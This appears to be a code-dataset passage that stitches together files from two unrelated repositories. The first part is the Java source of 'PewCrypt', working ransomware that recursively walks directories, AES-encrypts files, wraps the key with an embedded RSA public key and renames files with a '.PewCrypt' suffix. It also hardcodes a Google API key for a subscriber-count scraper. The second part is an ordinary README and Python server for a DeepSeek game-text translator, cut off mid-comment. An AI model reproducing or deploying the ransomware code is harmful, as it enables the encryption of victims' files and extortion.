encrypted data back to file Files.write(file.toPath(), outputBytes); String outPath = path.replace(".PewCrypt", ""); file.renameTo(new File(outPath)); System.out.println("Decryption Complete, Out: " + outPath); return true; } catch (IOException | BadPaddingException | IllegalBlockSizeException e) { e.printStackTrace(); return false; } } }
000JustMe/PewCrypt
1,533
Encryptor/src/main/Scraper.java
package main; import java.io.BufferedReader; import java.io.InputStreamReader; import java.net.URL; import java.net.URLConnection; public class Scraper { public Scraper() { } public int getPewdiepieCount() { try { return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UC-lHJZR3Gqxm24_Vd_AJ5Yw&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY")); } catch (Exception e) { e.printStackTrace(); return 0; } } public int getTSeriesCount() { try { return this.parseJson(this.getJson("https://www.googleapis.com/youtube/v3/channels?part=statistics&id=UCq-Fj5jknLsUf-MWSy4_brA&fields=items/statistics/subscriberCount&key=AIzaSyACZdXbrIijp3kLgAGNIdSCe7uxxIvo9wY")); } catch (Exception e) { e.printStackTrace(); return 0; } } public int parseJson(String json) { // crude but light weight way of parsing target values String tail = json.split(":")[3]; return Integer.parseInt(tail.split("\"")[1]); } public String getJson(String targetUrl) throws Exception { URL target = new URL(targetUrl); URLConnection targetc = target.openConnection(); BufferedReader in = new BufferedReader( new InputStreamReader( targetc.getInputStream())); String inputLine; String res = ""; while ((inputLine = in.readLine()) != null) { res += inputLine; } in.close(); return res; } }
000JustMe/PewCrypt
1,300
Encryptor/src/main/FileItter.java
package main; import java.io.File; import java.util.ArrayList; public class FileItter { /* * Class constructor will iterate though target paths Function itterFiles * recursively walks directory finding files Function getPaths to access paths * found and encrypt-able */ private ArrayList<String> paths; private ArrayList<File> directory_paths; public FileItter(String[] paths) { this.paths = new ArrayList<String>(); this.directory_paths = new ArrayList<File>(); for (String path : paths) { System.out.println(path); File file = new File(path); if (file.isDirectory()) { // directory needs walking directory_paths.add(file); } else { // must be a file this.paths.add(path); } } this.itterFiles(this.directory_paths.toArray(new File[this.directory_paths.size()])); } private void itterFiles(File[] files) { try { for (File file : files) { //System.out.println(file.getPath()); if (file.isDirectory()) { itterFiles(file.listFiles()); // recursion } else { //if a file this.paths.add(file.getPath()); } } } catch (NullPointerException e) { // when a folder is empty System.out.println(e); } } public ArrayList<String> getPaths() { return this.paths; } }
000JustMe/PewCrypt
5,370
Encryptor/src/main/Crypto.java
package main; import java.io.File; import java.io.IOException; import java.nio.file.Files; import java.security.InvalidKeyException; import java.security.Key; import java.security.KeyFactory; import java.security.NoSuchAlgorithmException; import java.security.PublicKey; import java.security.SecureRandom; import java.security.spec.InvalidKeySpecException; import java.security.spec.X509EncodedKeySpec; import javax.crypto.BadPaddingException; import javax.crypto.Cipher; import javax.crypto.IllegalBlockSizeException; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; public class Crypto { private final SecureRandom rnd = new SecureRandom(); private final byte[] RSA_key = new byte[] { 48, (byte) 130, 1, 34, 48, 13, 6, 9, 42, (byte) 134, 72, (byte) 134, (byte) 247, 13, 1, 1, 1, 5, 0, 3, (byte) 130, 1, 15, 0, 48, (byte) 130, 1, 10, 2, (byte) 130, 1, 1, 0, (byte) 211, (byte) 132, 73, 127, 125, 43, (byte) 148, (byte) 128, (byte) 128, 6, 36, 39, (byte) 220, 47, 57, (byte) 161, (byte) 147, (byte) 143, (byte) 202, (byte) 155, 24, 74, (byte) 168, 16, (byte) 164, 86, (byte) 160, 4, 9, 21, (byte) 162, (byte) 139, (byte) 144, (byte) 223, 24, 50, 54, 74, 73, 41, (byte) 237, 58, (byte) 214, 50, 88, (byte) 193, 83, 7, 120, 118, 114, (byte) 163, 6, 89, 94, (byte) 209, 65, 90, 56, 16, 38, (byte) 171, 81, (byte) 153, 45, (byte) 153, (byte) 175, 125, (byte) 161, 16, 126, 25, (byte) 181, (byte) 171, 35, 13, (byte) 144, (byte) 249, 24, (byte) 249, 62, (byte) 145, (byte) 185, (byte) 169, (byte) 217, (byte) 229, (byte) 142, 116, (byte) 244, (byte) 141, (byte) 148, (byte) 179, 26, 114, (byte) 253, (byte) 146, (byte) 162, (byte) 194, (byte) 165, (byte) 250, 82, (byte) 206, 102, 9, 35, 47, 62, 17, (byte) 200, 127, (byte) 183, 77, (byte) 147, 90, 78, (byte) 182, (byte) 244, (byte) 186, (byte) 212, 59, 54, (byte) 217, (byte) 250, (byte) 217, (byte) 253, (byte) 235, 31, (byte) 235, (byte) 248, (byte) 226, 44, (byte) 218, 53, 50, 25, 67, 5, 33, 38, 71, 43, 107, (byte) 234, 26, 104, 90, 2, 4, (byte) 144, 72, 53, (byte) 217, (byte) 238, 48, (byte) 154, 25, 77, 86, 90, (byte) 238, 69, (byte) 156, (byte) 157, (byte) 174, (byte) 245, 66, 107, (byte) 183, 91, 72, 55, (byte) 196, (byte) 163, 125, 121, (byte) 192, (byte) 182, (byte) 205, (byte) 158, 36, (byte) 201, 76, 31, (byte) 218, 82, 39, (byte) 193, (byte) 159, 66, 108, 78, 14, 122, (byte) 137, (byte) 233, (byte) 191, 110, (byte) 198, 123, (byte) 162, (byte) 219, (byte) 154, 11, (byte) 223, 88, 119, (byte) 208, 37, (byte) 157, (byte) 187, 60, 79, 64, (byte) 184, (byte) 234, 52, 104, 56, (byte) 158, (byte) 230, 70, 25, (byte) 254, 84, 14, 73, (byte) 182, (byte) 141, 78, (byte) 249, 11, (byte) 187, 51, (byte) 139, 76, 42, (byte) 157, (byte) 213, 95, 88, 85, 42, 8, 14, (byte) 135, (byte) 147, (byte) 248, (byte) 189, 50, 117, (byte) 153, 23, 0, 38, (byte) 158, 63, 2, 3, 1, 0, 1 }; private final byte[] PASS = new byte[32]; private Cipher cipher; private int cipherMode; private String[] IgnoredExtentions = new String[] { ".PewCrypt", ".exe", ".jar", ".dll" }; public Crypto(boolean toEncrypt) { // determine mode if (toEncrypt) { this.cipherMode = Cipher.ENCRYPT_MODE; } else { this.cipherMode = Cipher.DECRYPT_MODE; } try { // generate random AES pass this.rnd.nextBytes(PASS); Key AES_key = new SecretKeySpec(PASS, "AES"); this.cipher = Cipher.getInstance("AES"); this.cipher.init(this.cipherMode, AES_key); } catch (NoSuchAlgorithmException | NoSuchPaddingException | InvalidKeyException e) { System.out.println(e); } } public boolean encrypt_AES_key() { // get KeySpec X509EncodedKeySpec ks = new X509EncodedKeySpec(this.RSA_key); try { KeyFactory kf = KeyFactory.getInstance("RSA"); // Get public key from KeySpec PublicKey pub = kf.generatePublic(ks); // create new AES.key file File kfile = new File("AES.key"); kfile.createNewFile(); // encrypt AES key with public Cipher cipher = Cipher.getInstance("RSA"); cipher.init(Cipher.ENCRYPT_MODE, pub); // encrypted data buffer byte[] out = cipher.doFinal(this.PASS); // write encrypted data to AES.key file Files.write(kfile.toPath(), out); } catch (InvalidKeySpecException | IOException | NoSuchPaddingException | InvalidKeyException | IllegalBlockSizeException | BadPaddingException | NoSuchAlgorithmException e) { e.printStackTrace(); return false; } return true; } public boolean ProcessFile(String path) { try { // get handles File file = new File(path); // checks if file extension is ignored for (String exten : this.IgnoredExtentions) { if (file.getName().contains(exten)) { return false; } } // file checks if (!file.exists() | !file.canRead() | !file.canWrite() | (file.length() > 20000000)) { return false; } // file content buffer byte[] fileContent = Files.readAllBytes(file.toPath()); // encrypted data buffer byte[] outputBytes = this.cipher.doFinal(fileContent); // write encrypted data back to file Files.write(file.toPath(), outputBytes); file.renameTo(new File(path + ".PewCrypt")); return true; } catch (IOException | BadPaddingException | IllegalBlockSizeException e) { System.out.println(e); return false; } } }
0001lizhubo/XUnity.AutoTranslator-deepseek
1,147
README.md
# XUnity.AutoTranslator-deepseek ๆœฌ้กน็›ฎ้€š่ฟ‡่ฐƒ็”จ่…พ่ฎฏ็š„DeepSeek V3 API๏ผŒๅฎž็ŽฐUnityๆธธๆˆไธญๆ—ฅๆ–‡ๆ–‡ๆœฌ็š„่‡ชๅŠจ็ฟป่ฏ‘ใ€‚ ## ๅ‡†ๅค‡ๅทฅไฝœ ### 1. ่Žทๅ–APIๅฏ†้’ฅ - ่ฎฟ้—ฎ[่…พ่ฎฏไบ‘APIๆŽงๅˆถๅฐ](https://console.cloud.tencent.com/lkeap/api)็”ณ่ฏทDeepSeek็š„APIๅฏ†้’ฅ๏ผˆ้™ๆ—ถๅ…่ดน๏ผ‰ใ€‚ - ไนŸๅฏไปฅไฝฟ็”จๅ…ถไป–ๅนณๅฐๆไพ›็š„DeepSeek APIใ€‚ ### 2. ๅฎ‰่ฃ…ไพ่ต– ็กฎไฟๅทฒๅฎ‰่ฃ…ไปฅไธ‹่ฝฏไปถๅ’Œๅบ“๏ผš - **XUnity.AutoTranslator** - **Python 3.x** ๅฎ‰่ฃ…ๅฟ…่ฆ็š„Pythonๅบ“๏ผš ```bash pip install Flask gevent openai ``` ### 3. ้…็ฝฎAPI ๅ…‹้š†ๆœฌ้กน็›ฎๅŽ๏ผŒไฟฎๆ”นdeepseekv3.pyไธญ็š„`api_key`้…็ฝฎ้ƒจๅˆ†๏ผš ```python client = OpenAI( api_key="sk-XXXXXXXXXXXXXXXXXXXXXX", # ๆ›ฟๆขไธบๆ‚จ็š„APIๅฏ†้’ฅ base_url=Base_url, # API่ฏทๆฑ‚ๅŸบ็ก€URL ) ``` ### 4. ่‡ชๅฎšไน‰API้…็ฝฎ ๅฆ‚ๆžœไฝฟ็”จๅ…ถไป–ไบ‘ๅŽ‚ๅ•†็š„APIๅ’Œๆจกๅž‹๏ผŒ่ฏทไฟฎๆ”นไปฅไธ‹้…็ฝฎ๏ผš ```python # API้…็ฝฎๅ‚ๆ•ฐ Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API่ฏทๆฑ‚ๅœฐๅ€ Model_Type = "deepseek-v3" # ไฝฟ็”จ็š„ๆจกๅž‹็ฑปๅž‹ ``` ## ๅฏๅŠจ้กน็›ฎ ### 1. ๅฏๅŠจPython่„šๆœฌ ็กฎไฟPython่„šๆœฌๆˆๅŠŸๅฏๅŠจ๏ผŒๅ‘ฝไปค่กŒๅบ”ๆ˜พ็คบ๏ผš ``` ๆœๅŠกๅ™จๅœจ http://127.0.0.1:4000 ไธŠๅฏๅŠจ ``` ### 2. ้…็ฝฎXUnity.AutoTranslator ไฟฎๆ”นXUnity.AutoTranslatorๆ’ไปถ็š„้…็ฝฎๆ–‡ไปถ`AutoTranslatorConfig.ini`ๆˆ–`Config.ini`๏ผš ```ini [Service] Endpoint=CustomTranslate [Custom] Url=http://127.0.0.1:4000/translate ``` ## ๅ‚่€ƒ้กน็›ฎ - [XUnity.AutoTranslator-Sakura](https://github.com/as176590811/XUnity.AutoTranslator-Sakura) --- ้€š่ฟ‡ไปฅไธŠๆญฅ้ชค๏ผŒๆ‚จๅฏไปฅ่ฝปๆพๅฎž็ŽฐUnityๆธธๆˆไธญๆ—ฅๆ–‡ๆ–‡ๆœฌ็š„่‡ชๅŠจ็ฟป่ฏ‘ใ€‚ๅฆ‚ๆœ‰้—ฎ้ข˜๏ผŒ่ฏทๅ‚่€ƒ็›ธๅ…ณๆ–‡ๆกฃๆˆ–่”็ณปๅผ€ๅ‘่€…ใ€‚
0001lizhubo/XUnity.AutoTranslator-deepseek
14,868
deepseekv3.py
import os import re import json import time from flask import Flask, request # ๅฏผๅ…ฅ Flask ๅบ“๏ผŒ็”จไบŽๅˆ›ๅปบ Web ๅบ”็”จ๏ผŒ้œ€่ฆๅฎ‰่ฃ…๏ผšpip install Flask from gevent.pywsgi import WSGIServer # ๅฏผๅ…ฅ gevent ็š„ WSGIServer๏ผŒ็”จไบŽๆไพ›้ซ˜ๆ€ง่ƒฝ็š„ๅผ‚ๆญฅๆœๅŠกๅ™จ๏ผŒ้œ€่ฆๅฎ‰่ฃ…๏ผšpip install gevent from urllib.parse import unquote # ๅฏผๅ…ฅ unquote ๅ‡ฝๆ•ฐ๏ผŒ็”จไบŽ URL ่งฃ็  from threading import Thread # ๅฏผๅ…ฅ Thread๏ผŒ็”จไบŽๅˆ›ๅปบ็บฟ็จ‹ (่™ฝ็„ถๅฎž้™…ไธŠๆœชไฝฟ็”จ๏ผŒไฝ†importๆฒกๆœ‰ๅๅค„) from queue import Queue # ๅฏผๅ…ฅ Queue๏ผŒ็”จไบŽๅˆ›ๅปบ็บฟ็จ‹ๅฎ‰ๅ…จ็š„้˜Ÿๅˆ— import concurrent.futures # ๅฏผๅ…ฅ concurrent.futures๏ผŒ็”จไบŽ็บฟ็จ‹ๆฑ  from openai import OpenAI # ๅฏผๅ…ฅ OpenAI ๅบ“๏ผŒ็”จไบŽ่ฐƒ็”จ OpenAI API๏ผŒ้œ€่ฆๅฎ‰่ฃ…๏ผšpip install openai ๅนถๆ›ดๆ–ฐ๏ผšpip install --upgrade openai # ๅฏ็”จ่™šๆ‹Ÿ็ปˆ็ซฏๅบๅˆ—๏ผŒๆ”ฏๆŒ ANSI ่ฝฌไน‰ไปฃ็ ๏ผŒๅ…่ฎธๅœจ็ปˆ็ซฏๆ˜พ็คบๅฝฉ่‰ฒๆ–‡ๆœฌ os.system('') dict_path='็”จๆˆทๆ›ฟๆขๅญ—ๅ…ธ.json' # ๆ›ฟๆขๅญ—ๅ…ธ่ทฏๅพ„ใ€‚ๅฆ‚ๆžœไธ้œ€่ฆไฝฟ็”จๆ›ฟๆขๅญ—ๅ…ธ๏ผŒ่ฏทๅฐ†ๆญคๅ˜้‡็•™็ฉบ๏ผˆ่ฎพไธบ None ๆˆ–็ฉบๅญ—็ฌฆไธฒ ""๏ผ‰ # API ้…็ฝฎๅ‚ๆ•ฐ Base_url = "https://api.lkeap.cloud.tencent.com/v1" # OpenAI API ่ฏทๆฑ‚ๅœฐๅ€๏ผŒ่ฟ™้‡Œไฝฟ็”จไบ†่…พ่ฎฏไบ‘็š„ API ไปฃ็†ๆœๅŠก Model_Type = "deepseek-v3" # ไฝฟ็”จ็š„ๆจกๅž‹็ฑปๅž‹๏ผŒๅฏ้€‰้กนๅŒ…ๆ‹ฌ"deepseek-v3" ๆˆ–่€…ๅ…ถไป–ๆจกๅž‹ # ๆฃ€ๆŸฅ่ฏทๆฑ‚ๅœฐๅ€ๅฐพ้ƒจๆ˜ฏๅฆๅทฒๅŒ…ๅซ "/v1"๏ผŒ่‹ฅๆฒกๆœ‰ๅˆ™่‡ชๅŠจ่กฅๅ…จ๏ผŒ็กฎไฟ API ่ฏทๆฑ‚่ทฏๅพ„ๆญฃ็กฎ if Base_url[-3:] != "/v1": Base_url = Base_url + "/v1" # ๅˆ›ๅปบ OpenAI ๅฎขๆˆท็ซฏๅฎžไพ‹ client = OpenAI( api_key="sk-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", # API ๅฏ†้’ฅ๏ผŒ่ฏทๆ›ฟๆขไธบๆ‚จ่‡ชๅทฑ็š„ API Keyใ€‚ๅฆ‚ไฝ•่Žทๅ– API Key ็š„ๆŒ‡ๅ—๏ผšhttps://cloud.tencent.com/document/product/1772/115970 base_url=Base_url, # API ่ฏทๆฑ‚ๅŸบ็ก€ URL๏ผŒ่ฎพ็ฝฎไธบไธŠ้ข้…็ฝฎ็š„ Base_url ) # ่ฏ‘ๆ–‡้‡ๅคๅ†…ๅฎนๆฃ€ๆต‹ๅ‚ๆ•ฐ repeat_count=5 # ้‡ๅคๅ†…ๅฎน้˜ˆๅ€ผใ€‚ๅฆ‚ๆžœ่ฏ‘ๆ–‡ไธญๆœ‰ไปปๆ„ๅ•ๅญ—ๆˆ–ๅ•่ฏ่ฟž็ปญ้‡ๅคๅ‡บ็Žฐๆฌกๆ•ฐๅคงไบŽ็ญ‰ไบŽ repeat_count๏ผŒๅˆ™่ฎคไธบ่ฏ‘ๆ–‡่ดจ้‡ไธไฝณ๏ผŒไผš่งฆๅ‘้‡่ฏ•็ฟป่ฏ‘้€ป่พ‘ # ๆ็คบ่ฏ (Prompt) ้…็ฝฎ prompt= ''' ไฝ ๆ˜ฏ่ต„ๆทฑๆœฌๅœฐๅŒ–ไธ“ๅฎถ๏ผŒ่ดŸ่ดฃๅฐ†ๆธธๆˆๆ—ฅๆ–‡ๆ–‡ๆœฌ่ฏ‘ไธบ็ฎ€ไฝ“ไธญๆ–‡ใ€‚ๆŽฅๆ”ถๆ–‡ๆœฌๅŽ๏ผŒๆŒ‰ไปฅไธ‹่ฆๆฑ‚็ฟป่ฏ‘๏ผš ็ฟป่ฏ‘่Œƒๅ›ด๏ผš็ฟป่ฏ‘ๆ™ฎ้€šๆ—ฅๆ–‡ๆ–‡ๆœฌ๏ผŒไฟ็•™ๅŽŸๆ–‡ๅ™่ฟฐ้ฃŽๆ ผใ€‚ ไฟ็•™ๆ ผๅผ๏ผšไฟ็•™่ฝฌไน‰ๅญ—็ฌฆใ€ๆ ผๅผๆ ‡็ญพใ€ๆข่กŒ็ฌฆ็ญ‰้žๆ—ฅๆ–‡ๆ–‡ๆœฌๅ†…ๅฎนใ€‚ ็ฟป่ฏ‘ๅŽŸๅˆ™๏ผšๅฟ ๅฎžๅ‡†็กฎ๏ผŒ็กฎไฟ่ฏญไน‰ๆ— ่ฏฏ๏ผ›ๅฏน้œฒ้ชจๆ€งๆๅ†™๏ผŒๅฏ็›ด็™ฝ็ฒ—ไฟ—่กจ่ฟฐ๏ผŒไธๅˆ ๅ‡็ฏกๆ”น๏ผ›ๅฏนๅŒๅ…ณ่ฏญ็ญ‰็‰นๆฎŠ่กจ่พพ๏ผŒๆ‰พ็›ฎๆ ‡่ฏญ่จ€็ญ‰ๆ•ˆ่กจ่พพ๏ผŒไฟๅŽŸไฝœๆ„ๅ›พ้ฃŽๆ ผใ€‚ ๆ–‡ๆœฌ็ฑปๅž‹๏ผšๆธธๆˆๆ–‡ๆœฌๅซ่ง’่‰ฒๅฏน่ฏใ€ๆ—็™ฝใ€ๆญฆๅ™จๅŠ็‰ฉๅ“ๅ็งฐใ€ๆŠ€่ƒฝๆ่ฟฐใ€ๆ ผๅผๆ ‡็ญพใ€ๆข่กŒ็ฌฆใ€็‰นๆฎŠ็ฌฆๅท็ญ‰ใ€‚ ไปฅไธ‹ๆ˜ฏๅพ…็ฟป่ฏ‘็š„ๆธธๆˆๆ–‡ๆœฌ๏ผš ''' # ๅŸบ็ก€ๆ็คบ่ฏ๏ผŒ็”จไบŽๆŒ‡ๅฏผๆจกๅž‹่ฟ›่กŒ็ฟป่ฏ‘๏ผŒๅฎšไน‰ไบ†็ฟป่ฏ‘็š„่ง’่‰ฒใ€่Œƒๅ›ดใ€ๆ ผๅผใ€ๅŽŸๅˆ™ๅ’Œๆ–‡ๆœฌ็ฑปๅž‹ prompt_list=[prompt] # ๆ็คบ่ฏๅˆ—่กจใ€‚ๅฏไปฅ้…็ฝฎๅคšไธชๆ็คบ่ฏ๏ผŒ็จ‹ๅบไผšไพๆฌกๅฐ่ฏ•ไฝฟ็”จๅˆ—่กจไธญ็š„ๆ็คบ่ฏ่ฟ›่กŒ็ฟป่ฏ‘๏ผŒ็›ดๅˆฐ่Žทๅพ—ๆปกๆ„็š„็ป“ๆžœ l=len(prompt_list) # ่Žทๅ–ๆ็คบ่ฏๅˆ—่กจ็š„้•ฟๅบฆ (ๆญคๅ˜้‡็›ฎๅ‰ๆœช่ขซ็›ดๆŽฅไฝฟ็”จ๏ผŒๅฏ่ƒฝๆ˜ฏไธบๅŽ็ปญๆ‰ฉๅฑ•ๅŠŸ่ƒฝ้ข„็•™) # ๆ็คบๅญ—ๅ…ธ็›ธๅ…ณ็š„ๆ็คบ่ฏ้…็ฝฎ dprompt0='\nๅœจ็ฟป่ฏ‘ไธญไฝฟ็”จไปฅไธ‹ๅญ—ๅ…ธ,ๅญ—ๅ…ธ็š„ๆ ผๅผไธบ{\'ๅŽŸๆ–‡\':\'่ฏ‘ๆ–‡\'}\n' # ๆ็คบๆจกๅž‹ๅœจ็ฟป่ฏ‘ๆ—ถไฝฟ็”จๆไพ›็š„ๅญ—ๅ…ธใ€‚ๅญ—ๅ…ธๆ ผๅผไธบ JSON ๆ ผๅผ็š„ๅญ—็ฌฆไธฒ๏ผŒ้”ฎไธบๅŽŸๆ–‡๏ผŒๅ€ผไธบ่ฏ‘ๆ–‡ dprompt1='\nDuring the translation, use a dictionary in {\'Japanese text \':\'translated text \'} format\n' # ่‹ฑๆ–‡็‰ˆ็š„ๅญ—ๅ…ธๆ็คบ่ฏ๏ผŒๅฏ่ƒฝ็”จไบŽๅคš่ฏญ่จ€ๆ”ฏๆŒๆˆ–ๆจกๅž‹ๅๅฅฝ # dprompt_list ๅญ—ๅ…ธๆ็คบ่ฏๅˆ—่กจ๏ผŒไธŽ prompt_list ๆ็คบ่ฏๅˆ—่กจไธ€ไธ€ๅฏนๅบ”ใ€‚ๅฝ“ไฝฟ็”จ prompt_list ไธญ็š„็ฌฌ i ไธชๆ็คบ่ฏๆ—ถ๏ผŒไผšๅŒๆ—ถไฝฟ็”จ dprompt_list ไธญ็š„็ฌฌ i ไธชๅญ—ๅ…ธๆ็คบ่ฏ dprompt_list=[dprompt0,dprompt1,dprompt1] app = Flask(__name__) # ๅˆ›ๅปบ Flask ๅบ”็”จๅฎžไพ‹ # ่ฏปๅ–ๆ็คบๅญ—ๅ…ธ prompt_dict= {} # ๅˆๅง‹ๅŒ–ๆ็คบๅญ—ๅ…ธไธบ็ฉบๅญ—ๅ…ธ if dict_path: # ๆฃ€ๆŸฅๆ˜ฏๅฆ้…็ฝฎไบ†ๅญ—ๅ…ธ่ทฏๅพ„ try: with open(dict_path, 'r', encoding='utf8') as f: # ๅฐ่ฏ•ๆ‰“ๅผ€ๅญ—ๅ…ธๆ–‡ไปถ tempdict = json.load(f) # ๅŠ ่ฝฝ JSON ๅญ—ๅ…ธๆ•ฐๆฎ # ๆŒ‰็…งๅญ—ๅ…ธ key ็š„้•ฟๅบฆไปŽ้•ฟๅˆฐ็ŸญๆŽ’ๅบ๏ผŒ็กฎไฟไผ˜ๅ…ˆๅŒน้…้•ฟ key๏ผŒ้ฟๅ…็Ÿญ key ๅนฒๆ‰ฐ้•ฟ key ็š„ๅŒน้… sortedkey = sorted(tempdict.keys(), key=lambda x: len(x), reverse=True) for i in sortedkey: prompt_dict[i] = tempdict[i] # ๅฐ†ๆŽ’ๅบๅŽ็š„ๅญ—ๅ…ธๆ•ฐๆฎๅญ˜ๅ…ฅ prompt_dict except FileNotFoundError: print(f"\033[33m่ญฆๅ‘Š๏ผšๅญ—ๅ…ธๆ–‡ไปถ {dict_path} ๆœชๆ‰พๅˆฐใ€‚\033[0m") # ่ญฆๅ‘Š็”จๆˆทๅญ—ๅ…ธๆ–‡ไปถๆœชๆ‰พๅˆฐ except json.JSONDecodeError: print(f"\033[31m้”™่ฏฏ๏ผšๅญ—ๅ…ธๆ–‡ไปถ {dict_path} JSON ๆ ผๅผ้”™่ฏฏ๏ผŒ่ฏทๆฃ€ๆŸฅๅญ—ๅ…ธๆ–‡ไปถใ€‚\033[0m") # ้”™่ฏฏๆ็คบ JSON ๆ ผๅผ้”™่ฏฏ except Exception as e: print(f"\033[31m่ฏปๅ–ๅญ—ๅ…ธๆ–‡ไปถๆ—ถๅ‘็”Ÿๆœช็Ÿฅ้”™่ฏฏ: {e}\033[0m") # ๆ•่Žทๅ…ถไป–ๅฏ่ƒฝ็š„ๆ–‡ไปถ่ฏปๅ–ๆˆ– JSON ่งฃๆž้”™่ฏฏ def contains_japanese(text): """ ๆฃ€ๆต‹ๆ–‡ๆœฌไธญๆ˜ฏๅฆๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆใ€‚ Args: text (str): ๅพ…ๆฃ€ๆต‹็š„ๆ–‡ๆœฌใ€‚ Returns: bool: ๅฆ‚ๆžœๆ–‡ๆœฌๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆ๏ผŒๅˆ™่ฟ”ๅ›ž True๏ผ›ๅฆๅˆ™่ฟ”ๅ›ž Falseใ€‚ """ pattern = re.compile(r'[\u3040-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FE]') # ๆ—ฅๆ–‡ๅญ—็ฌฆ็š„ Unicode ่Œƒๅ›ดๆญฃๅˆ™่กจ่พพๅผ return pattern.search(text) is not None # ไฝฟ็”จๆญฃๅˆ™่กจ่พพๅผๆœ็ดขๆ–‡ๆœฌไธญๆ˜ฏๅฆๅŒ…ๅซๆ—ฅๆ–‡ๅญ—็ฌฆ def has_repeated_sequence(string, count): """ ๆฃ€ๆต‹ๅญ—็ฌฆไธฒไธญๆ˜ฏๅฆๅญ˜ๅœจ่ฟž็ปญ้‡ๅค็š„ๅญ—็ฌฆๆˆ–ๅญไธฒใ€‚ Args: string (str): ๅพ…ๆฃ€ๆต‹็š„ๅญ—็ฌฆไธฒใ€‚ count (int): ้‡ๅคๆฌกๆ•ฐ้˜ˆๅ€ผใ€‚ Returns: bool: ๅฆ‚ๆžœๅญ—็ฌฆไธฒไธญๅญ˜ๅœจ้‡ๅคๆฌกๆ•ฐ่พพๅˆฐๆˆ–่ถ…่ฟ‡้˜ˆๅ€ผ็š„ๅญ—็ฌฆๆˆ–ๅญไธฒ๏ผŒๅˆ™่ฟ”ๅ›ž True๏ผ›ๅฆๅˆ™่ฟ”ๅ›ž Falseใ€‚ """ # ้ฆ–ๅ…ˆๆฃ€ๆŸฅๅ•ไธชๅญ—็ฌฆ็š„้‡ๅค for char in set(string): # ้ๅކๅญ—็ฌฆไธฒไธญ็š„ไธ้‡ๅคๅญ—็ฌฆ้›†ๅˆ if string.count(char) >= count: # ็ปŸ่ฎกๆฏไธชๅญ—็ฌฆๅœจๅญ—็ฌฆไธฒไธญๅ‡บ็Žฐ็š„ๆฌกๆ•ฐ๏ผŒๅฆ‚ๆžœ่ถ…่ฟ‡้˜ˆๅ€ผ๏ผŒๅˆ™่ฟ”ๅ›ž True return True # ็„ถๅŽๆฃ€ๆŸฅๅญ—็ฌฆไธฒ็‰‡ๆฎต๏ผˆๅญไธฒ๏ผ‰็š„้‡ๅค for size in range(2, len(string)//count + 1): # ๅญไธฒ้•ฟๅบฆไปŽ 2 ๅผ€ๅง‹ๅˆฐ len(string)//count๏ผŒๅ› ไธบๆ›ด้•ฟ็š„้‡ๅคๅญไธฒไธๅคชๅฏ่ƒฝๅ‡บ็Žฐ for start in range(0, len(string) - size + 1): # ๆป‘ๅŠจ็ช—ๅฃ็š„่ตทๅง‹ไฝ็ฝฎ substring = string[start:start + size] # ๆๅ–ๅฝ“ๅ‰็ช—ๅฃ็š„ๅญไธฒ matches = re.findall(re.escape(substring), string) # ไฝฟ็”จๆญฃๅˆ™่กจ่พพๅผๆŸฅๆ‰พๆ•ดไธชๅญ—็ฌฆไธฒไธญ่ฏฅๅญไธฒ็š„้‡ๅคๆฌกๆ•ฐ๏ผŒre.escape ็”จไบŽ่ฝฌไน‰็‰นๆฎŠๅญ—็ฌฆ if len(matches) >= count: # ๅฆ‚ๆžœๅญไธฒ้‡ๅคๆฌกๆ•ฐ่พพๅˆฐ้˜ˆๅ€ผ๏ผŒๅˆ™่ฟ”ๅ›ž True return True return False # ๅฆ‚ๆžœไปฅไธŠๆ‰€ๆœ‰ๆฃ€ๆŸฅ้ƒฝๆฒกๆœ‰ๅ‘็Žฐ้‡ๅคๅ†…ๅฎน๏ผŒๅˆ™่ฟ”ๅ›ž False # ่Žทๅพ—ๆ–‡ๆœฌไธญๅŒ…ๅซ็š„ๅญ—ๅ…ธ่ฏๆฑ‡ def get_dict(text): """ ไปŽๆ–‡ๆœฌไธญๆๅ–ๅ‡บๅœจๆ็คบๅญ—ๅ…ธ (prompt_dict) ไธญๅญ˜ๅœจ็š„่ฏๆฑ‡ๅŠๅ…ถ็ฟป่ฏ‘ใ€‚ Args: text (str): ๅพ…ๅค„็†็š„ๆ–‡ๆœฌใ€‚ Returns: dict: ไธ€ไธชๅญ—ๅ…ธ๏ผŒkey ไธบๅœจๆ–‡ๆœฌไธญๆ‰พๅˆฐ็š„ๅญ—ๅ…ธๅŽŸๆ–‡๏ผŒvalue ไธบๅฏนๅบ”็š„่ฏ‘ๆ–‡ใ€‚ ๅฆ‚ๆžœๆ–‡ๆœฌไธญๆฒกๆœ‰ๆ‰พๅˆฐไปปไฝ•ๅญ—ๅ…ธ่ฏๆฑ‡๏ผŒๅˆ™่ฟ”ๅ›ž็ฉบๅญ—ๅ…ธใ€‚ """ res={} # ๅˆๅง‹ๅŒ–็ป“ๆžœๅญ—ๅ…ธ for key in prompt_dict.keys(): # ้ๅކๆ็คบๅญ—ๅ…ธไธญ็š„ๆ‰€ๆœ‰ๅŽŸๆ–‡ (key) if key in text: # ๆฃ€ๆŸฅๅฝ“ๅ‰ๅŽŸๆ–‡ (key) ๆ˜ฏๅฆๅ‡บ็Žฐๅœจๅพ…ๅค„็†ๆ–‡ๆœฌไธญ res.update({key:prompt_dict[key]}) # ๅฆ‚ๆžœๆ‰พๅˆฐ๏ผŒๅˆ™ๅฐ†่ฏฅๅŽŸๆ–‡ๅŠๅ…ถ่ฏ‘ๆ–‡ๆทปๅŠ ๅˆฐ็ป“ๆžœๅญ—ๅ…ธไธญ text=text.replace(key,'') # ไปŽๆ–‡ๆœฌไธญ็งป้™คๅทฒๅŒน้…ๅˆฐ็š„ๅญ—ๅ…ธๅŽŸๆ–‡๏ผŒ้ฟๅ…ๅ‡บ็Žฐ้•ฟๅญ—ๅ…ธๅŒ…ๅซ็Ÿญๅญ—ๅ…ธๅฏผ่‡ด้‡ๅคๅŒน้…็š„ๆƒ…ๅ†ตใ€‚ # ไพ‹ๅฆ‚๏ผŒๅญ—ๅ…ธไธญๆœ‰ "ๆŠ€่ƒฝ" ๅ’Œ 